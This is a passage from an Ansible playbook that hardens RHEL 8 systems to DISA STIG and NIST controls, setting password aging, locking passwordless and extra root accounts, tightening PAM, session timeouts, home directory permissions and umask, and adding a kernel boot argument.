    - accounts_maximum_age_login_defs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Password Minimum Age
    ansible.builtin.lineinfile:
      create: true
      dest: /etc/login.defs
      regexp: ^#?PASS_MIN_DAYS
      line: PASS_MIN_DAYS {{ var_accounts_minimum_age_login_defs }}
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;shadow-utils&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.1.1
    - DISA-STIG-RHEL-08-020190
    - NIST-800-171-3.5.8
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(d)
    - NIST-800-53-IA-5(f)
    - accounts_minimum_age_login_defs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Password Minimum Length in login.defs
    ansible.builtin.lineinfile:
      dest: /etc/login.defs
      regexp: ^PASS_MIN_LEN *[0-9]*
      state: present
      line: PASS_MIN_LEN        {{ var_accounts_password_minlen_login_defs }}
      create: true
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - '&quot;shadow-utils&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.6.2.1
    - DISA-STIG-RHEL-08-020231
    - NIST-800-171-3.5.7
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(f)
    - accounts_password_minlen_login_defs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Collect users with not correct maximum time period between password changes
    ansible.builtin.command:
      cmd: awk -F':' '(/^[^:]+:[^!*]/ &amp;&amp; ($5 &gt; {{ var_accounts_maximum_age_login_defs
        }} || $5 == &quot;&quot;)) {print $1}' /etc/shadow
    register: user_names
    changed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020210
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(d)
    - NIST-800-53-IA-5(f)
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.9
    - accounts_password_set_max_life_existing
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Change the maximum time period between password changes
    ansible.builtin.user:
      user: '{{ item }}'
      password_expire_max: '{{ var_accounts_maximum_age_login_defs }}'
    with_items: '{{ user_names.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - user_names.stdout_lines | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-020210
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(d)
    - NIST-800-53-IA-5(f)
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.9
    - accounts_password_set_max_life_existing
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Collect users with not correct minimum time period between password changes
    ansible.builtin.command: |
      awk -F':' '(/^[^:]+:[^!*]/ &amp;&amp; ($4 &lt; {{ var_accounts_minimum_age_login_defs }} || $4 == &quot;&quot;)) {print $1}' /etc/shadow
    register: user_names
    changed_when: false
    check_mode: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020180
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(d)
    - NIST-800-53-IA-5(f)
    - accounts_password_set_min_life_existing
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Change the minimum time period between password changes
    ansible.builtin.command: |
      chage -m {{ var_accounts_minimum_age_login_defs }} {{ item }}
    with_items: '{{ user_names.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - user_names.stdout_lines | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-020180
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(d)
    - NIST-800-53-IA-5(f)
    - accounts_password_set_min_life_existing
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Prevent Login to Accounts With Empty Password - Check if system relies on
      authselect
    ansible.builtin.stat:
      path: /usr/bin/authselect
    register: result_authselect_present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - CJIS-5.5.2
    - DISA-STIG-RHEL-08-020331
    - DISA-STIG-RHEL-08-020332
    - NIST-800-171-3.1.1
    - NIST-800-171-3.1.5
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.1
    - configure_strategy
    - high_severity
    - low_complexity
    - medium_disruption
    - no_empty_passwords
    - no_reboot_needed

  - name: Prevent Login to Accounts With Empty Password - Remediate using authselect
    block:

    - name: Prevent Login to Accounts With Empty Password - Check integrity of authselect
        current profile
      ansible.builtin.command:
        cmd: authselect check
      register: result_authselect_check_cmd
      changed_when: false
      check_mode: false
      failed_when: false

    - name: Prevent Login to Accounts With Empty Password - Informative message based
        on the authselect integrity check result
      ansible.builtin.assert:
        that:
        - ansible_check_mode or result_authselect_check_cmd.rc == 0
        fail_msg:
        - authselect integrity check failed. Remediation aborted!
        - This remediation could not be applied because an authselect profile was
          not selected or the selected profile is not intact.
        - It is not recommended to manually edit the PAM files when authselect tool
          is available.
        - In cases where the default authselect profile does not cover a specific
          demand, a custom authselect profile is recommended.
        success_msg:
        - authselect integrity check passed

    - name: Prevent Login to Accounts With Empty Password - Get authselect current
        features
      ansible.builtin.shell:
        cmd: authselect current | tail -n+3 | awk '{ print $2 }'
      register: result_authselect_features
      changed_when: false
      check_mode: false
      when:
      - result_authselect_check_cmd is success

    - name: Prevent Login to Accounts With Empty Password - Ensure &quot;without-nullok&quot;
        feature is enabled using authselect tool
      ansible.builtin.command:
        cmd: authselect enable-feature without-nullok
      register: result_authselect_enable_feature_cmd
      when:
      - result_authselect_check_cmd is success
      - result_authselect_features.stdout is not search(&quot;without-nullok&quot;)

    - name: Prevent Login to Accounts With Empty Password - Ensure authselect changes
        are applied
      ansible.builtin.command:
        cmd: authselect apply-changes -b
      when:
      - result_authselect_enable_feature_cmd is not skipped
      - result_authselect_enable_feature_cmd is success
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - result_authselect_present.stat.exists
    tags:
    - CJIS-5.5.2
    - DISA-STIG-RHEL-08-020331
    - DISA-STIG-RHEL-08-020332
    - NIST-800-171-3.1.1
    - NIST-800-171-3.1.5
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.1
    - configure_strategy
    - high_severity
    - low_complexity
    - medium_disruption
    - no_empty_passwords
    - no_reboot_needed

  - name: Prevent Login to Accounts With Empty Password - Remediate directly editing
      PAM files
    ansible.builtin.replace:
      dest: '{{ item }}'
      regexp: nullok
    loop:
    - /etc/pam.d/system-auth
    - /etc/pam.d/password-auth
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - not result_authselect_present.stat.exists
    tags:
    - CJIS-5.5.2
    - DISA-STIG-RHEL-08-020331
    - DISA-STIG-RHEL-08-020332
    - NIST-800-171-3.1.1
    - NIST-800-171-3.1.5
    - NIST-800-53-CM-6(a)
    - NIST-800-53-IA-5(1)(a)
    - NIST-800-53-IA-5(c)
    - PCI-DSS-Req-8.2.3
    - PCI-DSSv4-8.3
    - PCI-DSSv4-8.3.1
    - configure_strategy
    - high_severity
    - low_complexity
    - medium_disruption
    - no_empty_passwords
    - no_reboot_needed

  - name: Collect users with no password
    ansible.builtin.command: |
      awk -F: '!$2 {print $1}' /etc/shadow
    register: users_nopasswd
    changed_when: false
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010121
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.2
    - high_severity
    - low_complexity
    - low_disruption
    - no_empty_passwords_etc_shadow
    - no_reboot_needed
    - restrict_strategy

  - name: Lock users with no password
    ansible.builtin.command: |
      passwd -l {{ item }}
    with_items: '{{ users_nopasswd.stdout_lines }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - users_nopasswd is not skipped and users_nopasswd.stdout_lines | length &gt; 0
    tags:
    - DISA-STIG-RHEL-08-010121
    - NIST-800-53-CM-6(b)
    - NIST-800-53-CM-6.1(iv)
    - PCI-DSSv4-2.2
    - PCI-DSSv4-2.2.2
    - high_severity
    - low_complexity
    - low_disruption
    - no_empty_passwords_etc_shadow
    - no_reboot_needed
    - restrict_strategy

  - name: Get all /etc/passwd file entries
    ansible.builtin.getent:
      database: passwd
      split: ':'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-040200
    - NIST-800-171-3.1.1
    - NIST-800-171-3.1.5
    - NIST-800-53-AC-6(5)
    - NIST-800-53-IA-2
    - NIST-800-53-IA-4(b)
    - PCI-DSS-Req-8.5
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.1
    - accounts_no_uid_except_zero
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Lock the password of the user accounts other than root with uid 0
    ansible.builtin.command: passwd -l {{ item.key }}
    loop: '{{ getent_passwd | dict2items | rejectattr(''key'', ''equalto'', ''root'')
      | list }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.value.1  == '0'
    tags:
    - DISA-STIG-RHEL-08-040200
    - NIST-800-171-3.1.1
    - NIST-800-171-3.1.5
    - NIST-800-53-AC-6(5)
    - NIST-800-53-IA-2
    - NIST-800-53-IA-4(b)
    - PCI-DSS-Req-8.5
    - PCI-DSSv4-8.2
    - PCI-DSSv4-8.2.1
    - accounts_no_uid_except_zero
    - high_severity
    - low_complexity
    - low_disruption
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure new users receive home directories
    block:

    - name: Check for duplicate values
      ansible.builtin.lineinfile:
        path: /etc/login.defs
        create: true
        regexp: (?i)^\s*CREATE_HOME\s+
        state: absent
      check_mode: true
      changed_when: false
      register: dupes

    - name: Deduplicate values from /etc/login.defs
      ansible.builtin.lineinfile:
        path: /etc/login.defs
        create: true
        regexp: (?i)^\s*CREATE_HOME\s+
        state: absent
      when: dupes.found is defined and dupes.found &gt; 1

    - name: Insert correct line to /etc/login.defs
      ansible.builtin.lineinfile:
        path: /etc/login.defs
        create: true
        regexp: (?i)^\s*CREATE_HOME\s+
        line: CREATE_HOME yes
        state: present
    when: ( &quot;shadow-utils&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-010760
    - accounts_have_homedir_login_defs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set accounts logon fail delay
    ansible.builtin.lineinfile:
      dest: /etc/login.defs
      regexp: ^FAIL_DELAY
      line: FAIL_DELAY {{ var_accounts_fail_delay }}
      create: true
    when: ( &quot;shadow-utils&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-020310
    - NIST-800-53-AC-7(b)
    - NIST-800-53-CM-6(a)
    - accounts_logon_fail_delay
    - low_complexity
    - low_disruption
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Find /etc/security/limits.d files containing maxlogins configuration
    ansible.builtin.find:
      paths: /etc/security/limits.d
      contains: ^[\s]*\*[\s]+(?:(?:hard)|(?:-))[\s]+maxlogins
      patterns: '*.conf'
    register: maxlogins
    when: ( &quot;pam&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - CJIS-5.5.2.2
    - DISA-STIG-RHEL-08-020024
    - NIST-800-53-AC-10
    - NIST-800-53-CM-6(a)
    - accounts_max_concurrent_login_sessions
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Limit the Number of Concurrent Login Sessions Allowed Per User in files
      from limits.d
    ansible.builtin.replace:
      dest: '{{ item.path }}'
      regexp: ^#?\*.*maxlogins.*
      replace: '*          hard    maxlogins     {{ var_accounts_max_concurrent_login_sessions
        }}'
    with_items:
    - '{{ maxlogins.files }}'
    when: ( &quot;pam&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - CJIS-5.5.2.2
    - DISA-STIG-RHEL-08-020024
    - NIST-800-53-AC-10
    - NIST-800-53-CM-6(a)
    - accounts_max_concurrent_login_sessions
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Limit the Number of Concurrent Login Sessions Allowed Per User
    ansible.builtin.lineinfile:
      state: present
      dest: /etc/security/limits.conf
      insertbefore: ^# End of file
      regexp: ^#?\*.*maxlogins
      line: '*          hard    maxlogins     {{ var_accounts_max_concurrent_login_sessions
        }}'
      create: true
    when:
    - ( &quot;pam&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages )
    - maxlogins.matched == 0
    tags:
    - CJIS-5.5.2.2
    - DISA-STIG-RHEL-08-020024
    - NIST-800-53-AC-10
    - NIST-800-53-CM-6(a)
    - accounts_max_concurrent_login_sessions
    - low_complexity
    - low_disruption
    - low_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Correct any occurrence of TMOUT in /etc/profile
    ansible.builtin.replace:
      path: /etc/profile
      regexp: ^[^#].*TMOUT=.*
      replace: typeset -xr TMOUT={{ var_accounts_tmout }}
    register: profile_replaced
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020353
    - NIST-800-171-3.1.11
    - NIST-800-53-AC-12
    - NIST-800-53-AC-2(5)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-10
    - PCI-DSSv4-8.6
    - PCI-DSSv4-8.6.1
    - accounts_tmout
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Set Interactive Session Timeout
    ansible.builtin.lineinfile:
      path: /etc/profile.d/tmout.sh
      create: true
      regexp: TMOUT=
      line: typeset -xr TMOUT={{ var_accounts_tmout }}
      state: present
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020353
    - NIST-800-171-3.1.11
    - NIST-800-53-AC-12
    - NIST-800-53-AC-2(5)
    - NIST-800-53-CM-6(a)
    - NIST-800-53-SC-10
    - PCI-DSSv4-8.6
    - PCI-DSSv4-8.6.1
    - accounts_tmout
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get all local users from /etc/passwd
    ansible.builtin.getent:
      database: passwd
      split: ':'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010720
    - accounts_user_interactive_home_directory_defined
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Create local_users variable from the getent output
    ansible.builtin.set_fact:
      local_users: '{{ ansible_facts.getent_passwd|dict2items }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010720
    - accounts_user_interactive_home_directory_defined
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure interactive users have an exclusive home directory defined
    ansible.builtin.user:
      name: '{{ item.key }}'
      home: /home/{{ item.key }}
      create_home: false
    loop: '{{ local_users }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.value[2]|int &gt;= 1000
    - item.value[2]|int != 65534
    - item.value[2]|int &lt; 61184 or item.value[2]|int &gt; 65519
    - not item.value[4] | regex_search('^\/\w*\/\w{1,}')
    tags:
    - DISA-STIG-RHEL-08-010720
    - accounts_user_interactive_home_directory_defined
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get all local users from /etc/passwd
    ansible.builtin.getent:
      database: passwd
      split: ':'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010750
    - accounts_user_interactive_home_directory_exists
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Create local_users variable from the getent output
    ansible.builtin.set_fact:
      local_users: '{{ ansible_facts.getent_passwd|dict2items }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010750
    - accounts_user_interactive_home_directory_exists
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure interactive users have a home directory exists
    ansible.builtin.user:
      name: '{{ item.key }}'
      create_home: true
    loop: '{{ local_users }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.value[1]|int &gt;= 1000
    - item.value[1]|int != 65534
    tags:
    - DISA-STIG-RHEL-08-010750
    - accounts_user_interactive_home_directory_exists
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get all local users from /etc/passwd
    ansible.builtin.getent:
      database: passwd
      split: ':'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010741
    - accounts_users_home_files_groupownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Create local_users variable from the getent output
    ansible.builtin.set_fact:
      local_users: '{{ ansible_facts.getent_passwd|dict2items }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010741
    - accounts_users_home_files_groupownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Test for existence of home directories to avoid creating them, but only
      fixing ownership
    ansible.builtin.stat:
      path: '{{ item.value[4] }}'
    register: path_exists
    loop: '{{ local_users }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.value[1]|int &gt;= 1000
    - item.value[1]|int != 65534
    - item.value[4] != &quot;/&quot;
    tags:
    - DISA-STIG-RHEL-08-010741
    - accounts_users_home_files_groupownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure interactive local users are the owners of their respective home directories
    ansible.builtin.file:
      path: '{{ item.0.value[4] }}'
      group: '{{ item.0.value[2] }}'
      recurse: true
    loop: '{{ local_users|zip(path_exists.results)|list }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.1.stat is defined and item.1.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010741
    - accounts_users_home_files_groupownership
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get all local users from /etc/passwd
    ansible.builtin.getent:
      database: passwd
      split: ':'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010731
    - accounts_users_home_files_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Create local_users variable from the getent output
    ansible.builtin.set_fact:
      local_users: '{{ ansible_facts.getent_passwd|dict2items }}'
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010731
    - accounts_users_home_files_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Test for existence home directories to avoid creating them.
    ansible.builtin.stat:
      path: '{{ item.value[4] }}'
    register: path_exists
    loop: '{{ local_users }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.value[1]|int &gt;= 1000
    - item.value[1]|int != 65534
    - item.value[4] != &quot;/&quot;
    tags:
    - DISA-STIG-RHEL-08-010731
    - accounts_users_home_files_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure interactive local users have proper permissions on their respective
      home directories
    ansible.builtin.file:
      path: '{{ item.0.value[4] }}'
      mode: u-s,g-w-s,o=-
      follow: false
      recurse: true
    loop: '{{ local_users|zip(path_exists.results)|list }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.1.stat is defined and item.1.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010731
    - accounts_users_home_files_permissions
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get all local users from /etc/passwd
    ansible.builtin.getent:
      database: passwd
      split: ':'
    tags:
    - DISA-STIG-RHEL-08-010740
    - file_groupownership_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Create local_users variable from the getent output
    ansible.builtin.set_fact:
      local_users: '{{ ansible_facts.getent_passwd|dict2items }}'
    tags:
    - DISA-STIG-RHEL-08-010740
    - file_groupownership_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Test for existence of home directories to avoid creating them, but only
      fixing group ownership
    ansible.builtin.stat:
      path: '{{ item.value[4] }}'
    register: path_exists
    loop: '{{ local_users }}'
    when:
    - item.value[1]|int &gt;= 1000
    - item.value[1]|int != 65534
    tags:
    - DISA-STIG-RHEL-08-010740
    - file_groupownership_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure interactive local users are the group-owners of their respective
      home directories
    ansible.builtin.file:
      path: '{{ item.0.value[4] }}'
      group: '{{ item.0.value[2] }}'
    loop: '{{ local_users|zip(path_exists.results)|list }}'
    when: item.1.stat is defined and item.1.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010740
    - file_groupownership_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All User Initialization Files Have Mode 0740 Or Less Permissive -
      Gather User Info
    ansible.builtin.getent:
      database: passwd
    tags:
    - DISA-STIG-RHEL-08-010770
    - file_permission_user_init_files_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All User Initialization Files Have Mode 0740 Or Less Permissive -
      Find Init Files
    ansible.builtin.find:
      paths: '{{ item.value[4] }}'
      pattern: '{{ var_user_initialization_files_regex }}'
      hidden: true
      use_regex: true
    with_dict: '{{ ansible_facts.getent_passwd }}'
    when:
    - item.value[4] != &quot;/sbin/nologin&quot;
    - item.key not in [&quot;nobody&quot;, &quot;nfsnobody&quot;]
    - item.value[1] | int &gt;= 1000 or item.key == &quot;root&quot;
    register: found_init_files
    tags:
    - DISA-STIG-RHEL-08-010770
    - file_permission_user_init_files_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure All User Initialization Files Have Mode 0740 Or Less Permissive -
      Fix Init Files Permissions
    ansible.builtin.file:
      path: '{{ item.1.path }}'
      mode: u-s,g-wxs,o=
    loop: '{{ q(''ansible.builtin.subelements'', found_init_files.results, ''files'',
      {''skip_missing'': True}) }}'
    tags:
    - DISA-STIG-RHEL-08-010770
    - file_permission_user_init_files_root
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Get all local users from /etc/passwd
    ansible.builtin.getent:
      database: passwd
      split: ':'
    tags:
    - DISA-STIG-RHEL-08-010730
    - file_permissions_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Create local_users variable from the getent output
    ansible.builtin.set_fact:
      local_users: '{{ ansible_facts.getent_passwd|dict2items }}'
    tags:
    - DISA-STIG-RHEL-08-010730
    - file_permissions_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Test for existence home directories to avoid creating them.
    ansible.builtin.stat:
      path: '{{ item.value[4] }}'
    register: path_exists
    loop: '{{ local_users }}'
    when:
    - item.value[1]|int &gt;= 1000
    - item.value[1]|int != 65534
    - item.value[4] != &quot;/&quot;
    tags:
    - DISA-STIG-RHEL-08-010730
    - file_permissions_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure interactive local users have proper permissions on their respective
      home directories
    ansible.builtin.file:
      path: '{{ item.0.value[4] }}'
      mode: u-s,g-w-s,o=-
      follow: false
      recurse: false
    loop: '{{ local_users|zip(path_exists.results)|list }}'
    when: item.1.stat is defined and item.1.stat.exists
    tags:
    - DISA-STIG-RHEL-08-010730
    - file_permissions_home_directories
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Check if UMASK is already set
    ansible.builtin.lineinfile:
      path: /etc/login.defs
      regexp: ^(\s*)UMASK\s+.*
      state: absent
    check_mode: true
    changed_when: false
    register: result_umask_is_set
    when: ( &quot;shadow-utils&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    tags:
    - DISA-STIG-RHEL-08-020351
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - accounts_umask_etc_login_defs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Replace user UMASK in /etc/login.defs
    ansible.builtin.replace:
      path: /etc/login.defs
      regexp: ^(\s*)UMASK(\s+).*
      replace: \g&lt;1&gt;UMASK\g&lt;2&gt;{{ var_accounts_user_umask }}
    when:
    - ( &quot;shadow-utils&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - result_umask_is_set.found &gt; 0
    tags:
    - DISA-STIG-RHEL-08-020351
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - accounts_umask_etc_login_defs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure the Default UMASK is Appended Correctly
    ansible.builtin.lineinfile:
      create: true
      path: /etc/login.defs
      line: UMASK {{ var_accounts_user_umask }}
    when:
    - ( &quot;shadow-utils&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - result_umask_is_set.found == 0
    tags:
    - DISA-STIG-RHEL-08-020351
    - NIST-800-53-AC-6(1)
    - NIST-800-53-CM-6(a)
    - accounts_umask_etc_login_defs
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure the Default Umask is Set Correctly For Interactive Users - Get interactive
      users from passwd file
    ansible.builtin.getent:
      database: passwd
    register: passwd_entries
    when: '&quot;kernel&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-020352
    - accounts_umask_interactive_users
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure the Default Umask is Set Correctly For Interactive Users - Filter
      interactive users and get home directories
    ansible.builtin.set_fact:
      interactive_user_homes: '{{ interactive_user_homes | default([]) + [item.value[4]]
        }}'
    loop: '{{ passwd_entries.ansible_facts.getent_passwd | dict2items }}'
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.value[2] | int &gt;= 1000 | int
    - item.value[2] | int != 65534 | int
    - item.value[4] != &quot;&quot;
    tags:
    - DISA-STIG-RHEL-08-020352
    - accounts_umask_interactive_users
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure the Default Umask is Set Correctly For Interactive Users - Find dot
      files in interactive user home directories
    ansible.builtin.find:
      paths: '{{ item }}'
      patterns: .*
      file_type: file
      hidden: true
      depth: 1
    register: user_dotfiles
    with_items: '{{ interactive_user_homes | default([]) }}'
    failed_when: false
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item != &quot;&quot;
    tags:
    - DISA-STIG-RHEL-08-020352
    - accounts_umask_interactive_users
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Ensure the Default Umask is Set Correctly For Interactive Users - Comment
      out umask statements in user initialization files
    ansible.builtin.replace:
      path: '{{ item.1.path }}'
      regexp: ^\s*umask\s+
      replace: '#\g&lt;0&gt;'
      backup: false
    with_subelements:
    - '{{ user_dotfiles.results }}'
    - files
    when:
    - '&quot;kernel&quot; in ansible_facts.packages'
    - item.0 is not skipped
    - item.1.path is defined
    - '''.bash_history'' not in item.1.path'
    tags:
    - DISA-STIG-RHEL-08-020352
    - accounts_umask_interactive_users
    - low_complexity
    - low_disruption
    - medium_severity
    - no_reboot_needed
    - restrict_strategy

  - name: Check if init_on_free argument is already present in /etc/default/grub
    ansible.builtin.slurp:
      src: /etc/default/grub
    register: etc_default_grub
    when:
    - ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010423
    - NIST-800-53-SC-3
    - grub2_init_on_free
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Check if init_on_free argument is already present
    ansible.builtin.command: /sbin/grubby --info=ALL
    register: grubby_info
    check_mode: false
    changed_when: false
    failed_when: false
    when:
    - ( &quot;grub2-common&quot; in ansible_facts.packages and &quot;kernel&quot; in ansible_facts.packages
      )
    - '&quot;grub2-common&quot; in ansible_facts.packages'
    tags:
    - DISA-STIG-RHEL-08-010423
    - NIST-800-53-SC-3
    - grub2_init_on_free
    - low_disruption
    - medium_complexity
    - medium_severity
    - reboot_required
    - restrict_strategy

  - name: Update grub defaults and the bootloader menu
    ansible.builtin.command: /sbin/grubby --update-kernel=ALL --args=&quot;init_on_free=1&quot;
    when:
